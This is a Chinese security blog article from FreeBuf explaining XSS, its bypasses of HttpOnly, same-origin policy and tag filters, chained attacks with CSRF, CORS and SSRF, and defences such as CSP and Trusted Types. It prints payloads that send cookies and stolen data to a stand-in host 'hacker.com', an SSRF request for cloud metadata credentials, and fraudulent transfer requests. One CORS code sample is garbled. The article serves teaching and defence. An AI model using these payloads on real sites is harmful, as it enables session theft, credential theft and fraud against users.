freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XSS 漏洞深度解析:攻防对抗与高阶利用
LYL 2025-03-05 09:54:12 98627
所属地 广东省

一、XSS 漏洞核心原理与分类

1. XSS 本质与危害

XSS(跨站脚本攻击)的本质是攻击者通过注入恶意脚本到可信页面中,使得用户浏览器执行非预期的代码。其危害包括:

  • Cookie 窃取:获取用户会话身份。

  • 页面篡改:钓鱼攻击、广告注入。

  • 键盘记录:监听用户输入。

  • 内网探测:结合浏览器能力扫描内网服务。

2. XSS 三大类型

  • 反射型 XSS:恶意脚本来自 HTTP 请求参数,服务端未过滤直接返回页面。
    示例

https://example.com/search?q=<script>alert(1)</script>
  • 存储型 XSS:恶意脚本存储到数据库,长期影响所有访问者。
    常见场景:论坛评论、用户资料页。

  • DOM 型 XSS:纯前端漏洞,由 JavaScript 操作 DOM 时引入。
    示例

document.write('<div>' + location.hash.slice(1) + '</div>');  // 攻击:http://site.com#<img src=x onerror=alert(1)>

二、HttpOnly 对 XSS 的防御与绕过

1. HttpOnly 的作用原理

  • Cookie 保护:当 Cookie 标记为 HttpOnly时,JavaScript 无法通过 document.cookie读取。
    服务端设置示例(Node.js):

res.setHeader('Set-Cookie', 'session=abc123; HttpOnly; Secure; SameSite=Strict');

2. HttpOnly 的局限性

  • 无法阻止以下攻击

    • 劫持用户会话后发起请求(如 <script>fetch('/transfer?to=hacker')</script>)。

    • 读取浏览器自动填充的密码(需结合其他漏洞)。

    • 利用浏览器扩展 API(如 chrome://协议)。

3. 绕过 HttpOnly 的尝试

  • XST(Cross-Site Tracing)攻击
    利用 HTTP TRACE 方法反射 Cookie(现代浏览器已禁用 TRACE)。
    攻击代码

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('TRACE', 'http://target.com', true);
  xhr.onload = function() { 
    sendToAttacker(xhr.responseText); // 提取包含 Cookie 的响应
  };
  xhr.send();
</script>
  • 浏览器漏洞利用
    历史漏洞(如 IE 的 document.execCommand("GetObject"))可绕过 HttpOnly。


三、同源策略(SOP)对 XSS 的影响与绕过

1. 同源策略的核心规则

同源策略限制不同源的页面间访问敏感数据,定义为:协议、域名、端口均相同。
受限操作

  • 读取跨源页面的 DOM、Cookie、LocalStorage。

  • 发送跨域 AJAX 请求(受 CORS 限制)。

2. SOP 如何缓解 XSS

  • 限制数据泄露:即使存在 XSS,攻击者无法直接通过 AJAX 发送数据到外部域名。
    示例

// 攻击者尝试外传 Cookie
fetch('https://hacker.com/steal?data=' + document.cookie);  // 受 CORS 阻止

3. 绕过 SOP 的技术手段

(1) CORS 配置错误
  • 场景:目标站点配置 Access-Control-Allow-Origin: *
    攻击步骤

fetch('https://target.com/api/user', { 
credentials: 'include'
  1. 诱导用户访问恶意页面 evil.com
    2. 通过 XHR 发送带凭据的请求:

}).then(data => sendToAttacker(data));
```

(2) JSONP 回调函数注入
  • 原理:利用未过滤回调参数的 JSONP 接口。
    漏洞端点

https://target.com/api?callback=legitCallback

攻击代码

<script>
  function stealData(data) {
    sendToAttacker(JSON.stringify(data));
  }
</script>
<script src="https://target.com/api?callback=stealData"></script>
(3) postMessage 滥用
  • 场景:父窗口与 iframe 通信时未验证来源。
    漏洞代码(父窗口):

window.addEventListener('message', (e) => {
  document.getElementById('content').innerHTML = e.data; // 未验证 e.origin
});

攻击代码(恶意页面):

window.opener.postMessage('<img src=x onerror=alert(document.cookie)>', '*');

四、绕过特殊标签过滤的 XSS 技巧

1. 经典标签与属性绕过

  • 绕过 <script>过滤

<!-- 利用事件处理器 -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

<!-- 利用伪协议 -->
<a href="javascript:alert(1)">Click</a>
  • 绕过空格与大小写

<IMG SRC=x ONERROR=alert(1)>  <!-- 大小写混合 -->
<script\u0020>alert(1)</script>  <!-- Unicode 编码 -->

2. 现代浏览器防御绕过

  • CSP(内容安全策略)绕过

<script src="https://cdn.target.com/legit.js?callback=alert(1)"></script>
  • 利用 unsafe-inline或缺失 default-src

    • 注入允许域的脚本:

  • XSS Auditor 绕过(已弃用):

<script>var a = '{{ '; alert(1); // ' }}';</script>
  • 拆分恶意代码:


五、XSS 与其他漏洞的组合利用

1. XSS + CSRF:跨站脚本与请求伪造

  • 攻击链

    1. 通过 XSS 获取当前用户的 CSRF Token。

    2. 构造自动提交表单:

fetch('/api/csrf-token').then(r => r.json()).then(token => {
  fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({to: 'hacker', amount: 1000, _token: token})
  });
});

2. XSS + CORS:跨域数据外泄

  • 场景:目标站点允许来自任意域的 CORS 请求。
    攻击代码

fetch('https://target.com/sensitive-data', { credentials: 'include' })
  .then(res => res.text())
  .then(data => {
    fetch('https://hacker.com/log?data=' + encodeURIComponent(data));
  });

3. XSS + SSRF:穿透内网边界

  • 利用方式:通过 XSS 触发服务端请求(需存在 SSR 功能)。
    示例(Node.js 漏洞代码):

app.get('/proxy', (req, res) => {
  fetch(req.query.url).then(r => r.text()).then(data => res.send(data));
});

攻击载荷

<script>
  fetch('/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/');
</script>

4. XSS + 业务逻辑漏洞:特权升级

  • 案例:某电商平台存在订单金额篡改漏洞,结合 XSS 自动化攻击:

// 修改订单金额为 0.01 元
const orderId = '12345';
fetch(`/api/orders/${orderId}`, {
  method: 'PUT',
  body: JSON.stringify({ amount: 0.01 })
});

六、综合防御方案

1. 输入过滤与输出编码

  • 原则:对用户输入进行严格校验,对动态输出进行上下文敏感编码。
    示例(React 安全实践):

// 自动转义 HTML
<div>{userInput}</div>

// 危险场景:使用 dangerouslySetInnerHTML 时需净化
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(htmlInput) }} />

2. 内容安全策略(CSP)

  • 推荐配置

Content-Security-Policy: 
  default-src 'none';
  script-src 'self' https://trusted-cdn.com;
  img-src 'self';
  style-src 'self' 'unsafe-inline';
  connect-src 'self';
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-report;

3. 安全 HTTP 头部

  • 增强配置

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer

4. 现代浏览器特性

  • Trusted Types API(Chrome 83+):

// 服务端返回头
Content-Security-Policy: require-trusted-types-for 'script';

// 前端定义策略
const policy = trustedTypes.createPolicy('escapePolicy', {
  createHTML: input => DOMPurify.sanitize(input)
});
document.body.innerHTML = policy.createHTML(userInput);

七、总结

XSS 的防御是一场持续的动态博弈。攻击者不断发掘新的绕过技巧,而开发者需通过分层防御、安全编码和实时监控构建全方位护盾。理解漏洞原理、熟悉攻击手法、掌握防御框架,是每一位 Web 安全从业者的必修课

# xss # web安全
本文为 LYL 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
LYL LV.4
这家伙太懒了,还未填写个人描述!
  • 22 文章数
  • 9 关注者
Java代码审计中的SSRF漏洞深度解析
2025-03-14
企业云安全中的Kubernetes攻击手法及防御策略
2025-03-06
JWT 原理与漏洞深度解析及攻防实战
2025-03-04
文章目录